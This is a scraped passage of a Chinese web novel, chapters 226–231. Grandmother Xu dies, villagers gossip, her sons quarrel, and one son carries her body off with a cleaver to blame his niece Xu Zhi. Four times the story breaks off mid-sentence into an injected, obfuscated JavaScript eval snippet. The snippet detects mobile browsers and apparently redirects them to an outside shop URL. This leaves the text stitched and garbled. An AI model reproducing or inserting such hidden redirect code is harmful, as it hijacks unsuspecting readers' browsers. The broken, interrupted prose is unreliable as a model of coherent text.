只是赶紧回了铺子里,让邓耧子跟许芷一起去。 第226章 人真没了 本来在店里忙着的邓耧子,听到孟雨兰的话,赶紧追了出去。 追上许芷之后,他喘着气问:“小芷,咋回事啊?” 许芷着急,简单解释道:“舅舅,许过年应该没骗我们,我们快去药铺买了药,赶去许家,再晚人可能真的就没了。” 一听这个,邓耧子也着急,忙跟许芷说。 “小芷,你先去药铺买药,我现在去后院把马牵出来,一会儿我去怀清堂找你,咱俩骑着马去快。” 闻言,许芷点了点头,转头就钻进了人群里。 此时许芷也顾不上什么行为举止端庄不端庄了,一路小跑往怀清堂去。 跑到一半,邓耧子骑着马追了上来。 大手一捞,将许芷拉到了马背上,两人很快就到了怀清堂。 许芷下了马,将能解毒的药材买了个七七八八,剩下的就是要去看了许老太的情况才能确定到底用什么样的药。 买完之后,舅甥俩快马加鞭往上坪村赶。 可到底是晚了一步,许芷和邓耧子二人到了许家门口停下的瞬间,听到了院子里一阵哀痛的叫声。 “娘!” 许芷和邓耧子慌忙对视一眼,两人的眉头都紧紧的皱在了一起。 “这...这许老太竟真的不行了。” 邓耧子微微摇摇头有些不敢相信。 就算是许老太是个讨人嫌的老太太,可是这许过年刚去他们铺子闹一场,回来人就没了。 这对许芷来说可不是好事,人活着怎么都行。 就算他们要赖在许芷的头上,那也有的查。 可是现在人**,都说死无对证,这不是许家人说什么就是什么。 想到这,邓耧子瞬间下了决定。 他着急的对许芷说:“小芷,要是有什么事情你就说不知情,都往我身上推就成,你可不能被他们拿捏住。 他们的算盘就在这,这十里八乡的谁不知道他们一家人什么品性,拿命来算计你这种事儿他们也做得出。” 闻言,许芷抬头看了舅舅一眼。 微不可查的叹了口气,没想到自己还是没来得及。 她就说,苏白薇不可能那么简单的把这件事糊弄过去,一定是下了死手的。 也怪自己没有想到她会在许老太身上做文章。 自己跟许家人的恩怨,因为许过年和许老太闹那一场,城里城外都是人尽皆知。 苏白薇真的想对付自己,随便差人去打听都能打听出自己跟他们的恩怨。 她再略施小计,接着许家这把刀杀自己那是轻而易举。 许芷只恨自己想的太少,竟然没想到苏白薇会这么做。 但是事情已经出了,只能是兵来将挡水来土掩,一味的唉声叹气没有用。 同时,听到舅舅下意识的牺牲他来保全自己,许芷心底满是感动。 但她怎么可能这么做,何况他们就是冲着自己来的,自己根本不能独善其身。 所以她开口对舅舅说:“舅舅,且不说你对我这么好,我怎么可能让你去顶罪。 就算是让你去顶,可他们针对的人是我,真这么做了,只怕最后咱们两个人都要折进去。 所以,我不可能让你来替我扛的,舅舅我很感激、也十分的感动你能这样,可是我真的不能这么做。” 邓耧子一听,很想说没事的,他就是一个大老粗,也没有什么本事。 就算推到自己身上,真要是坐了牢就坐几年呗。 他想的简单,就算坐了牢出来外甥女小芷是不可能不管自己的。 但是外甥女许芷不一样,她这么有本事,要是真的被算计进去,那可真是太可惜了。 王家、邓家还有张家都是靠着许芷才能好过起来,这附近的村子也都是因为许芷带着他们种了药田,大家的日子才好过。 所以许芷的用处可比他大多了,自己不算什么。 这么想着,他想要开口劝许芷。 但是许家凄厉的哭声已经吸引了周围邻居的注意,邓耧子听到有人要出来看。 所以他顾不上说,把许芷抱上马,带着人就要离开。 这种事儿发生了,要是别人看到许芷出现在许家附近,可不是什么好事情。 现在当然是能撇多远撇多远,一点不能沾身。 但凡让人看到了,到时候他就算有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289752|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心自己顶上,把许芷撇开。 可有人拿着这点做文章,那是怎么都说不清。 所以他把许芷放在了身前,裹进自己的大氅里。 这件大氅还是许芷送自己的礼物,当时自己还觉得这种富贵人家穿的东西不适合自己。 怕没披几天就给弄坏了,这么金贵的东西。 可现在他却无比庆幸有了这件大氅,能把许芷包进去,这样马跑起来可没人能看到许芷。 他将许芷包了个严严实实,在有人出来前一夹马肚子箭一样的冲了出去。 他们走了之后,紧接着,许家的左邻右舍都走了出来,看看是怎么回事。 离得最近的刘穗子最先出来,她出来的时候只见到了一个马飞快跑出去的残影。 对门的高老太杵着拐棍也出来了,疑惑问道:“那是谁家的马?跑这么快。” 高老太的邻居,牛圈子冷的双手操进袄袖里,牙齿还有点打颤。 听到了高老太的问题,啧一声,“这你都不知道,咱们这方圆几里有马的人家有几户?这不就那谁吗。” “谁啊?” 高老太这会儿好像脑子不够用了一样,没听懂牛圈子的话。 牛圈子一听不耐烦道:“就那谁。” 他自己一时间忘了邓耧子的名字,着急的就那谁那谁的重复着。 而高老太也谁啊谁啊的乐此不疲的问着。 两人说了半天,一点没说到点上。 最后还是往许家探头去看的刘穗子听不下去,开口打断两人。 “除了那下坪村的许芷还有谁?就这点事,你俩那谁、谁啊的说不清楚,都耽误我听许家的热闹了。” 两人一听到许芷,都恍然大悟。 不过高老太继续疑惑问道:“那丫头有这么高大?” 牛圈子又往马消失的方向看了一眼,随口道:“那一看就是邓耧子,那小姑娘哪有那样的身形。” 听到这话,刘穗子也附和:“可不是,那么个小丫头,瘦的像竹竿。” 随即,哎呀一声,羡慕的话语随口说出来:“不过是邓家老幺是命好,有这么个外甥女,都能骑上马了。” 第227章 八卦三人 牛圈子听到,嗤笑一声,“马怎么了?还不是靠个小丫头得来的,男子汉大丈夫都不嫌丢人。” 虽然话是这么说,但是刘穗子和高老太都听出了他语气里的酸意。 不过现在许家的热闹更吸引人,所以两人没空拆穿他。 高老太抬手制止他别再说话了。 “行了行了,先看看这许家是怎么了。” 牛圈子一听这话,酸红了的眼睛才从马消失的方向转了回来,饶有兴趣的嘲讽开口: “这许家三天两头搞事情,这次又是怎么了?” “谁知道呢?我正纳鞋底呢,听到这边嗷一嗓子,不知道的还以为**娘呢。” 刘穗子接过来说道。 高老太也跟着说:“你还别说,好像就是许老太出了事儿,我到许家老三喊娘了。” 这么一说,刘穗子也有些恍然大悟说道:“好像还真是,你还真别说,前一段我听着好像许大娘生了病,可别真是许大娘出了事,我那就是随口一说,可不关我的事。” 牛圈子嗤笑一声,“瞅你那胆,要是真说两嘴人就能没了,就这村里天天东家长西家短的,出不了一个月村里人就得死绝。” 这话说的有水平,逗得高老太咯咯直笑。 而刘穗子没好气地瞪了牛圈子一眼,继续伸长了脖子往许家看。 但是怎么看都只能听到里面的哭嚎声,还是不知道发生了什么。 高老太倚老卖老地指挥那牛圈子和刘穗子说:“你们俩谁去许家看看去,这光听,听不出来什么,还被这哭声闹得脑仁疼。” 刘穗子一听撇撇嘴不悦地看了一眼高老太,她是爱看热闹了些,可也没蠢到这种地步。 许家一家子都是那不招人待见的,平时说话不是眼高于顶就是夹枪带棒的。 谁跟他们家搭话那就是一种折磨。 何况现在一听就是发生了不好的事情,她要是去了人家家里探听,那不正撞了枪口上了。 说不准什么都探听不到,还被许家人骂一场。 自己得是多傻才会去听了高老太的话。 心里对高老太这作为是嗤之以鼻,可到底两家挨得近,面子上不好说什么难听话,只是笑笑不接话。 但是牛圈子一个大男人家的,可没有刘穗子这么顾念,直接不满地呛回去。 “满村谁不知道他们许家人不好说话,你这老太太算盘打得响,让我去帮你探听,我遭了人家骂,你倒是知道了情况。 你想的美,那么想知道自己过去问去。” 高老太没想到牛圈子会这么直接的呛回来,她脸色不虞,可到底没发作。 牛圈子的爹也是村子里出了名的无赖,她吵不过人家,再不满意不说话就是了。 可到底是上了年纪,被牛圈子这么说,心里是不舒服的。 所以她幽幽地辩驳:“我这不是看你也好奇,好心建议,不去就算了。” 牛圈子可不信这话,他嘁一声,继续看热闹。 正当三人不知道该怎么打听的时候,看到了许家老二许富年的三闺女许汀急吼吼的跑了出来。 三人看到眼睛一亮,这不是现成的人能打听了。 刘穗子眼疾手快地拉住了许汀,被拉住的许汀眼神惊恐地看过去。 再看到是邻居的刘婶子,她明显松了口气。 怯生生地问了好,就打算走。 但是刘穗子还没问呢,怎么可能放她走。 看到刘婶子不放自己,许汀有些害怕地低声嗫嚅:“刘婶子,您有事儿吗?没事儿的话放开我要去找我大伯,家里出了事儿。” 刘穗子摆出了一个最是和善的小脸,开口道:“别急别急,汀汀,回答了婶子的话,婶子就让你走。” 许汀看着面前三张笑脸,虽然他们已经尽力让自己看起来和善,可她还是感觉到了一丝害怕。 寻思着早点回答完就能走,所以她点了点头。 “你问吧,婶子。” 刘穗子闻言笑呵呵的哎了一声。 “这就对了嘛,汀汀,你方才说家里出了事儿,能告诉婶子是什么事儿吗?” 许汀想了想,村子里其他老人去世的时候,家里人也会通知到村里。 这不算什么需要瞒着的事情,也为了自己能早点脱身去找大伯一家,所以她开口道: “奶奶没了。” 此话一出,三人皆是一惊。 尤其是刘穗子,她倒吸一口凉气,还真让她给说对 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平日里,这许老太骂人的时候可是中气十足,一点都看不出来像是有隐疾的样子。 还是高老太看到许汀着急的样子,开口道:“你就先让这丫头走吧,还是个孩子能知道什么家里的事儿。” 说完伸手把许汀解救了出来,冲她点了下头,让她赶紧走吧。 许汀得了自由,感激地看了一眼高老太,赶紧往大伯家的方向赶去。 而刘穗子还在疑惑,还寻求认同的对高老太和牛圈子说:“这人还真没了?可这许大娘平日里真是硬挺得很,这怎么突然没了。” “还突然呢,这么大年纪了,来一场急病人就走了多正常。” 高老太语气有些悲凉地说着,不过这份悲可不是为了许老太。 而是为了同为老人的自己,许老太这得了急病说走就走。 自己跟她也差不了几岁,谁知道什么时候也撒手人寰了。 真是世事无常难预料啊。 “说的也是,毕竟那么大年纪了,有些病平日里不显。” 刘穗子也认同道。 第228章 娘都没了 既然知道发生了什么,三人就失了在许家门前的兴趣。 许家这几个大男人,哭起来真要命,嚎得人头昏。 牛圈子转身回了家,而高老太和刘穗子则是带着这个消息来到了村里的石井处,大家平日里会在这里站着聊天歇晌。 很快两人就把许老太去世的消息散播了出去。 这边脱了身的许汀着急地赶往大伯许留年家里。 许留年看到侄女过来了,立马笑着把侄女许汀迎了进来。 虽说是跟家里断了关系,可是孩子终究是孩子,他不可能对孩子冷着一张脸。 何况老二家这四个孩子没有一个继承了老二两口子的恶**,都不讨人嫌。 平日里大伯大伯的亲热叫着,他犯不上对孩子黑脸。 他刚掏出了几颗珍藏的花生,想着给侄女吃,可是还没塞给侄女,就听到侄女急吼吼说: “大伯,我爹喊你快回家去,奶奶没了。” “啥?” 许留年手里的花生掉在了地上,脸上尽是不可置信的表情。 而本来在屋里缝衣裳的周浮萍也赶忙出来了。 她走到许汀面前,拧着眉道:“汀丫头这话可不能乱说啊,可别是你奶奶看到我们两口子如今日子过得去,又快过年了,故意让你来诓我们回去的。” 自从断了之后,周浮萍再提起许老太这个婆母只说是她。 但是跟许汀说,自然不能说的那么简单,她也不愿意叫娘,索性就是许芷奶奶。 而她会不信这个话,揣测许老太是不是让他们夫妻二人回去兜底也正常。 因为按照许老太的品性可太能干出来这种事儿了。 她跟许留年从家里出来之后,顾好自己的一亩三分地。 许留年还能出去找找零工干,日子过得也算是有滋有味。 完全没了原来在许家在许老太的掌控下那种贫瘠感。 但是他们还在这个村子里,谁家什么样,大家都看得到。 所以许家也知道他们俩日子过得去。 就许老太和老三许过年去许芷那闹的事情,沸沸扬扬的,村里的人更讨厌许家。 所以许家的日子更不好过。 如今也快过年了,他们要是存了让他们夫妻俩回去帮他们过个好年的心思,也不是不可能。 听说到如今,柳珍儿还在娘家没回去呢。 许汀听到大伯娘的猜测,着急解释:“没有,大伯娘,奶奶病了好几日了,今日刚走,这是真的,不信你让大伯回去看,就知道我有没有骗你们了。” 看到许汀言辞恳切,周浮萍和许留年对视一眼,都从对方本来不可置信的眼底看到了一丝松动。 而许汀则是继续道:“大伯,我真的没骗你跟大伯娘,爹还要我回祖母家去,给娘报消息呢,我先走了。” 说着,许汀小跑出了许留年的家。 独留许留年夫妻两个,依旧是不可置信的样子。 “这...这怎么会呢?!” 许留年悲痛地说道。 而周浮萍也是惊讶不已:“你娘不是向来身体都硬朗,怎么会说走就走。 这真的是真的?” 许留年听到这话有些急了,“那不然呢!那汀丫头都要去叫她娘回来了。 就咱娘那脾气,要不是人真的没了,怎么会让他们去叫柳氏回来。 就柳氏走的时候把家里闹得,怎么都不可能!” 周浮萍还是不放心地又问:“那会不会是娘故意这么做,就为了把咱们这能干的给叫回去过年,毕竟这一年家里可不好过...” 她虽然这么猜,可是越说底气越不足,也觉得应当不是。 而许留年听到媳妇儿这话内心一股火气上涌,他的娘都没了,媳妇儿还在这恶意猜测。 “娘都没了,你还要这样说她吗?” 他怒火中烧地冲着妻子吼道。 而周浮萍也被许留年这样子吓到了,平日里两人可几乎不会有这种时候。 所以周浮萍红着眼睛道:“娘平日里也不少做这种事儿,我还不是为了这个家着想。 当初闹着要跟家里断开出来的人也不是我一个,你这会儿冲我吼什么? 我就是觉得咱们俩还没过几天太平日子,怕又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298569|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搅了进去,没个安生你愿意啊!” 听到妻子这么说,许留年的火气也被压了下去。 自己刚刚是被这个消息冲击的有些找不着头脑了,毕竟是亲娘,真没了自己做不到那么淡定。 可是妻子的担忧也不是不无道理。 诚如她所说,她也是为了这个家着想。 生怕这没过几天的安生日子再度没有了,所以才会这样猜测。 所以他忍了忍,好一会儿才看着妻子落泪的脸,道歉说:“对不住,是我一听娘没了,就顾不上思考了,说话就急了点。 浮萍,你别跟我计较,是我不该吼你。 可这事儿是真的话,我以后真的就是没爹没娘的儿了,你就稍微体谅体谅我成不? 等娘的事儿办完了,你想怎么打我骂我都成,毕竟是我不该吼你。” 听到丈夫服了软,周浮萍自然也不会计较。 而且丈夫这话说的不错,他以后就没爹没娘了,这话听着着实让人心疼。 所以周浮萍将停在脸上的眼泪擦了个干净,上前拉住丈夫的手开口道:“我知道你心里不舒服。 就算是咱们跟家里分开了,不管娘干了多少对咱们不好的事情,可那毕竟是你的亲娘。 真走了你也不可能无动于衷,你回家去看看吧,看看到底是怎么回事,送送娘。 我收拾收拾,通知下闺女就也过去。” 许留年听到这话,心中一股悲意涌上来,他忍住眼泪,对妻子嗯了声。 转身回去许家。 而周浮萍则是赶紧出了门去通知女儿。 这边许家家里因为许老太的去世笼罩了一层悲伤的乌云。 几人终于是哭得没了力气,暂时停了下来。 看着床上脸色黑青、早已冰凉的许老太,老三许过年又想到了许芷那丫头。 她倒是过得红光满面,挣得盆满钵满。 不说照顾照顾家里,竟然还恶毒到把亲奶奶给弄**。 他一拳砸到了旁边的桌子上,眼睛猩红一片。 “许芷!我跟这丫头不死不休!我要让她给娘赔命!” 第229章 狼心狗肺 “行了,三弟,我就说那丫头不能招惹,我这个亲爹在她面前都没面子,说给我送进大牢就送进去了。 咱们把娘存的银子找出来,赶紧给娘后事办好,这件事就过去吧。 那丫头克咱们许家,谁沾了她准没好事。” 许富年劝阻道。 他是真的这么想,这香囊的来历他也知道。 但是不知道是不是出于血亲之间的那一点默契,他总觉得这种事儿不像是那丫头能干出来的。 而且,确实他们什么都不干,只过好自己的,十多年都没事。 可就从那丫头开始结鬼亲,他跟柳珍儿去要彩礼开始。 只要跟那丫头扯上关系,他们准没好事。 他这些日子孤家寡人一个,也想了很多,觉得错就错在了这丫头他们已经不要了,这会儿却还想着扯关系。 他们丢了这丫头,属于已经种了恶因。 不接近这丫头也就罢了,一接近这恶果立马就显露出来。 谁接近谁倒霉。 他进了牢狱,娘如今又没了。 所以,不如安安生生过自己的,何必跟那丫头牵扯,指不定还能出什么事儿呢。 只是他的话并没有让许过年冷静下来,反而让许过年更加的愤怒。 许过年瞪着二哥许富年,怒声道:“你倒是说的好听,那可是你的女儿。 你的女儿把娘害**,你不敢讨公道就算了,还说这种包庇的话。 孙女害奶奶,这可是有违天理的,举头三尺有神明,我就不信报应不到她许芷头上! 你还想巴结你那有本事的女儿,随你便,可不要挡着我为娘讨公道!” 许富年一听弟弟误会了自己,忙解释:“我不是不让你为娘讨公道,我只是觉得没必要去找那丫头。 你想想,咱们十几年相安无事,就从前年跟这丫头扯上关系发生了多少事? 咱们这一家被折腾的够呛,大哥夫妻俩搬出去了,我媳妇儿也走了,娘现在也走了。 说明了啥啊,说明这丫头克咱们啊,那咱们招惹她干啥,赶紧把娘葬下去,入土为安吧。 至于其他的,之后再说。” 说完他看着弟弟许过年看着自己不反驳的样子,只当是他听进去了。 他揽上了弟弟许过年的肩膀,端起了做哥哥的架子,另一只手拍了拍许过年的胸口,开口道: “三弟,我明白你对娘的不舍,但是事情已经这样了,咱们就认命吧。” 说完,许富年刚想把搭在许过年肩膀上的手收回来,脸上就结结实实的挨了一拳。 虚弱的许富年一下就倒在了地上。 老三的媳妇儿看到被打倒在地狼狈的许富年,刚还哭唧唧的脸,瞬间噗嗤一声笑了出来。 而老幺许裕年赶紧去扶二哥许富年。 “三哥,你这是干啥啊?” 许裕年问完,小心地搀扶起了二哥许富年。 “干什么,哼!” 许过年哼笑一声,不满道:“你听听他说的是人话吗?娘都被那个贱丫头害**,他不说为娘报仇,还劝我息事宁人。 他难道忘了娘的养育之恩了吗?快四十的人了,还这么窝囊,我就没有你这样的二哥!” 许富年哎呦一声捂着脸,紧接着吐出了一口血水,血水里还有半颗牙。 他看着地上那半颗黄牙,一阵恼怒。 “许老三!我也是好心,你至于这样对我吗?我可是你亲哥!” “好心?呵呵。” 许过年好似听到了什么笑话,“你的好心,就是娘刚走你就问着要娘存起来的钱拿出来?你敢说你没有私心?” 被质问的许富年没好气地回道。 “我能有什么私心!” 他这么一说,许过年更是一副看透了他的样子。 “哼,什么私心?你还好意思说,这还不明白吗。 娘的尸骨未寒,你都惦记着那些钱,想着把钱拿出来你就能分走了是吗?” 许过年满脸嘲讽看着他,脸上满是不屑。 而许富年一听,这可是天大的冤枉,他让把银子找出来真的是为了娘的葬礼。 他根本没想着要这笔钱。 家里都出这么大事儿了,他怎么会第一时间想着去贪娘攒下的银子。 “天地良心,我根本没想过要分这些钱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298570|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是娘没了,买棺葬地哪一样不需要花银子。 平日里娘藏得紧,根本不跟除了你以外的几个儿子说藏银子的地方,只有你知道,我才这么说。” 可是任凭他怎么解释,许过年都是一副讥诮的模样,一点不信他。 眼看自己说什么都没用,许富年连忙发誓:“我发誓,我要是惦记这些钱就让我不得好死,身首异处,挫骨扬灰成不!” 他话已经说到了这种地步,可是许过年依旧面色不改,嗤笑一声:“这种话要是有用,哪还有那么多六月飞雪之事。 不就是发誓,谁还说不得一些重话。” “你!”许富年只觉得自己一拳打到了棉花上,他气急道:“合着我不过是提了正经的路子被误会了,还怎么解释都没用了是吗? 我也是娘生养大的,怎么可能这么狼心狗肺!” “狼心狗肺?” 许过年听到嘴角嘲讽的弧度更大,“你不说我还不知道,那丫头能做出这么丧尽天良的事情,到底是跟谁学的。 原来是留着你这狼心狗肺的血,所以才会长成了那恶毒的白眼狼模样!” “许过年!” 许富年真的是气急了。 没想到亲弟弟会这么说,自己还怎么解释都解释不通了。 可是他的吼声大,许过年的声音比他的更要大。 “干啥!叫声音那么大干什么,现在说不过改比谁的嗓门大了是吗? 你要是这样我也会,许!富!年! 我叫了能这样?” 说完挑衅地看向二哥许富年。 许富年被气得胸口一阵疼。 颤抖着手指向许过年,嘴唇哆嗦着却说不出一句话。 恰巧这时,许留年回来了。 他没进门就听到了两人的争吵声,就算是隔着几道街都能知道。 进了门看到两人剑拔**张的样子,他立马摆上了大哥的样子,推着两人劝道: “行了,吵什么吵,娘都没了,你们还吵。” “就是娘没了才吵!娘没有他这个不孝软弱无能的儿子!” 许过年气势汹汹的说道。 第230章 给娘赔命 许富年则是一脸痛心疾首的样子,看到大哥,立马委屈的止不住。 像是盼来了救星一样,抓住了大哥的手,哽咽的说着:“大哥啊,我这人确实软弱无能了些,可我什么时候不孝过? 三弟这么说我是不是太过分了,我好歹是他哥啊。 我也是为了这个家好,凭什么这样说我!” 大哥许留年本就因为听到了亲娘去世的消息,心里悲痛不已,这会儿听到弟弟许富年这样说,心里更难受。 站在许富年这边,生平头一次吼自己的弟弟许过年。 “许老三!你这是干什么?!你就这么说自己的亲哥哥吗? 娘刚去世,你就跟家里的兄弟闹成这个样子,是想让娘死不瞑目吗?” 本来许过年不想跟他这个大哥多说什么,毕竟在他心里大哥已经不是许家的人了。 可是既然大哥非要掰扯这些,那他就要好好说道说道。 “娘的事关你这个出去的叛徒什么事,你都跟这个家**了,这会儿跑回来充什么大哥的样子。” “你!” 许留年没想到许过年会这么说,一时间脑子空白说不出什么反驳的话来。 只能胸腔剧烈起伏的喘着粗气,指着许过年,嘴里一句话说不出。 “你什么你,说不出话反驳我,是因为这就是事实。 你知道怎么回事吗?你知道我们俩在吵什么吗?你就那么确定他许富年没一点问题吗?” 许过年这连环三问,问的许留年说不出一个字。 看着许留年说不出话,许过年哼笑一声,眯着眼刺道:“你一个把自己扫地出门的儿子,什么都不知道就敢来管我们许家的事儿。 还真当自己是个大哥了,之前也不知道是谁,宁愿跟娘吵架,把娘气得半死也要从这个家出去。 生怕这家里有一点波及到自己,如此自私的人,这会儿倒是摆起了大哥的谱了。 咱们一家人被村里人骂的时候,被其他的人针对的时候,我怎么没见我这个好大哥出来顶顶事儿啊! 娘没了你在这装起来了,我不光那么说许富年,我还这么说你呢,许留年,给我滚! 你才是最没资格看娘的人,娘走了你也别来送孝,我觉得晦气,我替娘觉得晦气!” 本来还有些气势的许留年听到这话脸涨得通红,却一个字都说不出来。 当初确实是自己为了跟家里撇清关系,不想让自己夫妻俩和女儿受家里的影响才出去的。 所以许过年的话自己一个字也无法反驳,他干瞪着眼,嘴怎么都张不开。 而许过年看着他们两个这样子,心里只觉得他们晦气又窝囊。 “你们怕许芷那丫头,我可不怕,我就不信了,那丫头还能把我也弄死! 你们不敢给娘讨公道,我敢!” 说着他冲进了院子里,没一会儿拿着把刀进来。 直接把刀用力立在了许老太床边的桌子上。 菜刀的寒光震慑住了在场的每一个人。 许过年瞪着眼说道:“谁敢拦我,就看看这把刀答不答应!” 许留年和许富年都被吓的哆哆嗦嗦,眼神里满是恐惧。 老三许富年从小就是个胆大的,什么事儿都能干的出来。 所以他们俩丝毫不怀疑,但凡他们这会儿说了什么反对的话,他立刻能把这把菜刀砍到他们两个的头上。 而看着自己的三个哥哥闹成了这样子,许裕年生气的喘着粗气。 看了眼痛苦死去的娘,红着眼对三哥许过年说:“你要怎么报仇,怎么去找许芷算账,都是你的事。 但是二哥有一句话没说错,那就是娘已经没了,现在应该把娘安葬,让她入土为安。 把娘的葬礼办了之后,随便三哥你怎么找人算账,你们三个人吵破了天也没人管。” 有了许裕年这话,许富年也找回了自己的声音。 颤抖着解释:“老幺说得对,我也不是非要拦着你报仇,我只是觉得娘应该先入土为安。” 前面的话说的还算有个正常腔调,可是说到报仇两个字的时候,许过年扭头狠狠地看了他一眼。 他心一惊,害怕导致声音越来越小,最后“入土为安”四个字,几乎不可闻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298571|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许过年看着他这个怂样子,不想多说什么。 他呼出一口气,开口否定许裕年的话。 “不行,娘还不能下葬!” 一听这个,许裕年不耐烦也不理解的质问:“为什么啊?娘走的这么痛苦,你怎么能不让娘赶紧入土为安呢?” 许过年斜眼看向许裕年,冷声回道:“你既然知道娘走的痛苦,也知道这痛苦是因为什么。 怎么能让娘现在就下葬,我非要讨回了公道不成!” 许裕年更不理解了。 “三哥!你要讨回公道,我说了没人拦着你,先把娘下葬了随便你。 我真是不懂了给娘讨公道,怎么就跟入土为安冲突了!” “就是冲突!” 许过年身上的戾气尽显,“我要把娘的尸身摆在那死丫头的铺子前,让来来往往的人都看到,她这个孙女是怎么把亲奶奶害**! 我还要敲登闻鼓,让县令做主,让那丫头给娘赔命!” 许裕年看着如同地狱罗刹一般的三哥,他猛叹一口气,说道:“哥,你要让县令做主,这我们都没意见。 到时候县令怎么查,那丫头什么责任,算怎么回事都行。 可是你不能让娘的尸身就那么放在街上,那岂不是曝尸荒野,那可是大不孝啊。” 许过年十分不在乎的一挥手,“我管不了那么多了,我再不孝能有那丫头把亲奶奶害**严重? 何况我这是为了给娘讨公道,娘一定能理解的。 而且我哪有要把娘的尸身放在荒野,那可是城里最热闹的大街上。 这一次我一定要让许芷那丫头死!” 说着他上前一把背上了许老太的尸身就要出去。 而许家的其他人见状就要上前拦着他。 但是许过年腾出一只手拿出了桌子上的刀,猛地挥向众人。 几人被吓得立马散开。 “我说了谁拦我,要看看这把刀愿不愿意!” 说完瞪了众人一眼,背着许老太拿着菜刀走了。 剩下的人,面面相觑不知该怎么办。 第231章 议论纷纷 因为村子里的人都知道了许老太已经**的消息,本来就围在许家门口打算看看,许家这打算怎么办。 尤其是里正许经年,他既是许家这一姓的人,死的人可是自己的亲大娘。 又是村里的里正,于公于私自己都该赶紧去许富年家里看看。 所以一知道消息,他就立马往许富年家里赶,只是没想到自己刚到家门口,就看到许过年背着许老太出来了。 有那么一瞬间,他还以为村里传的许老太**的消息是假的。 要不然许过年背着亲娘这是去哪呢? 哪有人会背着尸身乱走,所以他赶紧迎上去问道:“我大娘她......” 只是话没说完,就听到许过年没好气的吼一声:“**!” 说完背着许老太头也不回的要出去。 许经年一看这哪行啊,赶紧问他这是要干什么去。 可是问出口之后,没有听到许过年的解释。 反而被许过年用菜刀威胁着近不了身。 其他村里人看到许过年拿着刀也都吓得远离他。 看到大家都让开了,他背着许老太哼哧哼哧的走了。 高老太不解的问道,“这许老三是不是疯了?娘都**,不赶紧买棺下葬,还敢背着**尸首乱走。” 牛圈子摸了摸下巴上刺挠的胡茬,啧一声吸了口气分析道:“刚刚许家兄弟吵架,不是好像提到了许丫头,还提到了什么算账。 我猜这许老三一定把这事儿又算到了那个早就被他们丢掉的孙女许芷的身上。” 闻言,刘穗子叹了一口气,有些心疼的开口:“这许丫头上辈子造了多大的孽,这辈子摊上这么一户人家。 连这种事儿都被按到她头上,这许过年真是疯了。 许大娘也是可怜啊,**儿子也不让安生。” 有个跟刘穗子走的近的小媳妇儿,突然开口道:“说来也奇怪,这许老太一直都以强悍著称,这既是说她的脾气,也是大家少见她身体有什么事儿。 可如今怎么说没就没了,实为蹊跷啊。” 说着突然好像想到了什么,刚提起一口气想说话,可是还没开口,又自己摇了摇头。 口中还自言自语道:“应当是我多想了,不会是这样的。” 可她这样子却让周围的人好奇坏了,都想知道她到底想到了什么。 尤其是刘穗子,直接挽上了她的手臂,亲热热的问她:“小婷,你要是想到了什么可得给我说说呀。” 被叫小婷的小媳妇儿,笑着摇了摇头,只说:“应当是我想错了,肯定不是这么回事。” 刘穗子一听她不说,赶紧劝道:“想错不想错的,你说出来咱们大家一起想想不就知道错不错了,一个人是错一群人还能错? 你就说吧。” 话音落下,其他的人也纷纷开口让小婷说出来,大家一起听听看是不是这么回事。 小婷看到大家都让自己说,她虽然看着还是为难的样子,但是她还是开了口。 但是说之前她先保险起见的说:“这只是我想到了,可不保真的。” “好好好,你就说吧,说错了我们也不说什么。” 刘穗子哄着她。 如此,小婷才开口道:“我只是觉得这许老太病的太急太蹊跷,又想了想村里啥时候传出来许老太病重的消息,反正我记得是腊八刚过就传了出来。” “腊八?” 刘穗子不明所以,“腊八节之后传出来又怎么了?” 小婷意味深长的看了她一眼,低声开口道:“你们别忘了腊八节发生了什么事。” “腊八能有什么——” 刘穗子刚想说,却突然想到了什么。 “那日,许丫头铺子里的东西送给了咱们,还特意给了许老太一个香囊,难不成...” 没说完,刘穗子就捂上了嘴。 不可置信的看向小婷,只觉得自己知道了一个大秘密。 